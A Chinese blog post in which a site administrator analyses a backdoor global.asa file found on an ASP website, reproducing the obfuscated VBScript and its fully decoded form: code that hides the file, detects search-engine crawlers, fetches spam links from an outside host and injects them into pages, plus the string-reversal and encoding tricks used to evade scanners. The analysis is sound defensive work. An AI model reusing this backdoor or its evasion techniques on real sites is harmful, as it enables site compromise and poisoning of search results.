共计 5482 个字符,预计需要花费 14 分钟才能阅读完成。
前言
周末的时候,阿里云发来了一条短信,说网站上发现了后门文件,于是赶紧登录阿里云网站,查看该安全事件的相关信息。
后门文件对比
出现后门文件的网站,在几个目录下均存在恶意的 global.asa 文件,用 Beyond Compare 对这几个文件进行比较后发现内容相同,那只需要分析其中一个文件即可。
后门文件功能
先上网查查 global.asa 文件是干什么用的,在 ASP Global.asa 文件这个网页中有介绍,简单来说,就是可以在用户打开网页前,执行其中的代码。
后门文件格式化
然后用文本编辑器打开 global.asa 这个文件,精简后的内容如下:
<script language="vbscript" runat="server">sub Application_OnStart:end sub:sub Application_OnEnd:end Sub:Execute(JiaMi("79.110.32.69.")):function JiaMi(asp):ExeCuTe(JMONE("edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim")):end Function:Function JMONE(objstr):objstr = Replace(objstr, "`", """"):For i = 1 To Len(objstr):If Mid(objstr, i, 1) <>"┊" Then NewStr = Mid(objstr, i, 1) & NewStr:Else:NewStr = vbCrLf & NewStr:End If:Next:JMONE = NewStr:End Function</script>
开头的内容为 <script language=”vbscript” runat=”server”>,说明其中的代码是用 VB 这门语言写的,运行在服务器端。
代码中有许多冒号,上网查了一下,在 VB 中,冒号可以起到和换行符相同的作用。那么把所有的冒号都替换为换行符,并添加必要的缩进,格式化后的代码如下:
<script language="vbscript" runat="server">
sub Application_OnStart
end sub
sub Application_OnEnd
end Sub
Execute(JiaMi("79.110.32.69."))
function JiaMi(asp)
ExeCuTe(
JMONE("edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim")
)
end Function
Function JMONE(objstr)
objstr = Replace(objstr, "`", """")
For i = 1 To Len(objstr)
If Mid(objstr, i, 1) <> "┊" Then NewStr = Mid(objstr, i, 1) & NewStr
Else
NewStr = vbCrLf & NewStr
End If
Next
JMONE = NewStr
End Function
</script>
后门文件分析
通过阅读上面格式化之后的代码可以知道,函数 Execute 调用了函数 JiaMi,而函数 JiaMi 又调用了函数 JMONE,这说明关键的部分就是函数 JMONE。
分析函数 JMONE,可知其用于实现如下功能:
- 将传入参数 objstr 中的 ` 字符替换成一对英文半角双引号,并将处理后的字符串重新赋给变量 objstr;
- 遍历字符串 objstr 中的每个字符,在这里是用函数 Mid(objstr, i, 1)来获取当前字符。话说 VB 中获取字符串中指定字符的方式就是如此?还是为了防止被安全工具检测到特征,所以没有用常规的方式?
- 对于遍历到的每个字符,检查该字符是否为┊,第一次见到这个字符,还不知道它是干什么用的,它的 Unicode 编号为 U +250A,上网查了一下,才知道这个字符叫“制表符细四长划竖线”。在这里没有用常见的 | 符号,是否也是为了避免被安全工具检测到特征?
- 如果当前字符为┊,则在变量 NewStr 前面加一个 VB 的换行符 vbCrLf;否则将当前字符拼接到变量 NewStr 之前。看来是在该函数外先将恶意代码倒序排列,用特殊制表符当做换行符,然后传入 JMONE 这个函数进行解析并执行,嘿,有点儿意思啊。
- 处理完传入参数之后,将处理结果 NewStr 赋给变量 JMONE,函数结束。
函数 JMONE 分析完了,接下来就分析分析调用这个函数的 JiaMi。这个函数一看就是国人写的,JiaMi 就是“加密”嘛,嗯,简单易懂,不错不错。
查看 JiaMi 这个函数的代码,可以知道它只做了一件事,就是向 JMONE 这个函数传入参数,并执行 JMONE 这个函数。给 JMONE 传入的参数是下面这一长串乱七八糟的字符串,但结合前面对 JMONE 的分析就可以知道,这只不过是倒序排列 + 制表符分隔的代码而已。下面这一串字符是传入 JMONE 的参数:
"edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim"
按函数 JMONE 的逻辑进行还原上面的字符串,添加必要的换行和缩进,就能得到下面的代码:
mianasp=split(asp, ""."")
for i=0 to UBound(mianasp)-1
hao=mianasp(i)
aspcode=aspcode+chr(hao)
next
JiaMi=aspcode
分析上面的代码,可知其功能如下:
- 将传入的参数以英文点号. 为分隔符进行分割,得到数组 mianasp;
- 遍历数组 mianasp,将数组中的每个字符由前往后拼接起来,最后得到字符串 aspcode,并将其赋给变量 JiaMi。
在前文中,为了方便阅读,将 JiaMi 这个函数中的字符串进行了精简。实际执行该函数后,得到的结果又是一大堆字符串,仔细一看,还是 VB 代码,还是用冒号作为换行符。于是将其进行换行处理,并添加必要的缩进,最终关键部分的代码如下:
Function DeAsc(Str)
Str=Split(Str,"%")
For I=1 To Ubound(Str)
DeAsc=DeAsc&Chr(Str(I)-18)
Next
End Function
Function Htmll(Url,AChar)
Set MSX=Server.CreateObject("MSXML2.ServerXMLHTTP")
MSX.Open "GET",Url,False
MSX.SetRequestHeader "User-Agent","MSIE"
MSX.Send
Htmll=MSX.ResponseBody
Set MSX=Nothing
Set ASM=Server.CreateObject("Adodb.Stream")
ASM.Type=1
ASM.Mode=3
ASM.Open
ASM.Write Htmll
ASM.Position=0
ASM.Type=2
ASM.Charset=AChar
Htmll=ASM.ReadText
ASM.Close
Set ASM=Nothing
End Function
Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct")
set f=fso.Getfile("//./" & Server.MapPath("/g"&"lo"&"ba"&"l.a"&"sa"))
if f.attributes<>39 then
f.attributes=39
end if
Set fso=Nothing
Bot=Request.ServerVariables("HTTP_USER_AGENT")
host=Request.ServerVariables("HTTP_HOST")
path_info=Request.ServerVariables("PATH_INFO")
KBot=Array("baidu","google","sogou","soso","yahoo","bing","bot","spider","so","360","haosou")
For B=Lbound(KBot) To Ubound(KBot)
If InStr(1,Bot,KBot(B),1)>0 Then
KeyData=Htmll(DeAsc("%122%134%134%130%")&host&"&url="&path_info,"GB2312")
skyword=split(KeyData,"[0xSpider]")
Response.Write(skyword(1))
End if
Next
上面的代码中定义了函数 DeAsc 和 Htmll,并在后面的语句中调用了这两个函数。下面就来具体分析这些代码做了哪些事:
- 定义变量 fso = Server.CreateObject(“Scripting.FileSystem&Object”);这里将函数参数字符串分割成了 1~3 个不等的字符串并手动进行拼接,应当也是为了躲过安全工具的检测;
- 定义变量 f = fso.Getfile(“//./global.asa”),就是用来获取网站根目录下的 global.asa 文件;
- 判断 f 的 attributes 属性值是否为 39,如果不是则赋为 39;上网查找,可知这个属性是多个值相加后得到的结果,39 = 32 + 4 + 2 + 1,其中的 1 为只读文件属性,2 为隐藏文件属性,4 为系统文件属性;这部分代码的作用,就是将 global.asa 文件设置为只读、隐藏、系统文件这三个属性;
- 判断网页访问用户的 UserAgent 是否包含搜索引擎爬虫特征值,即上面定义的变量 KBot;如果判断用户为搜索引擎爬虫,则执行下面的操作;
- 执行前面定义过的函数 Htmll,该函数接收两个参数;而在第一个参数中,DeAsc 里的参数其实是很长一串,这里做了精简,执行 DeAsc 后得到的结果为 http://file.sjc5.com/file/lin…,应该就是黑产所用的网站了,再将这个 URL 和用户访问的当前页面 URL 相拼接,应该就是黑产用来记录用户访问历史的;第二个参数显然是用来定义编码的;
- 查看函数 Htmll 的代码,可知它是以 IE 的 UserAgent 向指定 URL 发起请求,并获取该 URL 对应的网页内容;用 Postman 多次请求该 URL:http://file.sjc5.com/file/lin…,所返回的内容是以一对字符串 [0xSpider] 包裹起来的一堆 HTML 的 a 标签,查看这些 a 标签的 href 属性,前面一多半都是相对路径,包含各种随机的目录名、文件名,且很多文件的扩展名为 shtml 或 aspx,看来这个网站后门就是针对 ASP/ASP.NET 的;后面的路径则是包含域名的完整的网址,打开几个网址看了看,目测应该是已经被黑产动过手脚了;
- 上面的代码在执行完函数 Htmll 之后,将返回的结果以 [0xSpider] 为分隔符进行分割,最后将那一堆网址作为结果返回。
总结
将整个过程梳理下来之后,最终可以知道,这个网站后门是用来篡改搜索引擎爬虫结果的。总结这个后门文件代码的特点如下:
- 转换字符编码:比如将正常的字母和符号转换为 ASCII 码,传入函数 JiaMi;
- 分割字符串:传入函数 JiaMi 的字符串不仅被转换为 ASCII 码,而且各字符之间都用英文点号分隔开来;Server.MapPath(“/g”&”lo”&”ba”&”l.a”&”sa”)这条语句也是同理,将敏感的文件名 global.asa 进行拆分后再手动拼接;
- 改变字符串顺序:传入函数 JMONE 的字符串就是逆序排列的,在函数中再逆序拼接一遍,转换为正序排列之后,就可以执行了;
- 改变字符串编码值:在 DeAsc 函数中,就是将字符的 ASCII 码值减去数字 18 之后,再用 Chr 函数转换成正常的字符。
虽然上面的代码尝试了各种方式将关键信息进行混淆,但最关键的一点是它无法改变的,就是它必须调用 VB 的 Execute 函数来执行代码。个人猜测该网站后门之所以会被阿里云检测出来,Execute 函数是主要的原因。这时想到之前看过的 JavaScript 代码规范中,有一条就是禁止使用 eval 函数,应当也是出于同样的考虑吧。
后记
虽然这个后门文件的作用分析清楚了,也把它从服务器上删除掉了,但这个后门文件究竟是如何出现在服务器上的,这一点很关键,遗憾的是,并没有找到网站漏洞的位置,也就是说没有搞清楚这个后门文件是从哪里来的。不过这一套 ASP 写的网站现在已经没什么访问量了,刚好借此机会把它下线,这样也就不给入侵者机会了,权当是没有办法的办法吧。
话说回来,网络安全真的是越来越重要了,也越来越专业了。尤其是对于防守方而言,即使有百密,但只要有一疏,那就意味着失败。作为一名开发者,同时又需要负责服务器及网站的安全,肩上的负担自然更重一些,但是如此一来,也能够让自己以不同的角度去看待及分析问题,视野也更加开阔了。对于同样的一件事情,是成为你的负累,还是会督促你成长,全看你用什么样的心态去看待它,你的世界,就是你所塑造的世界。
全文完。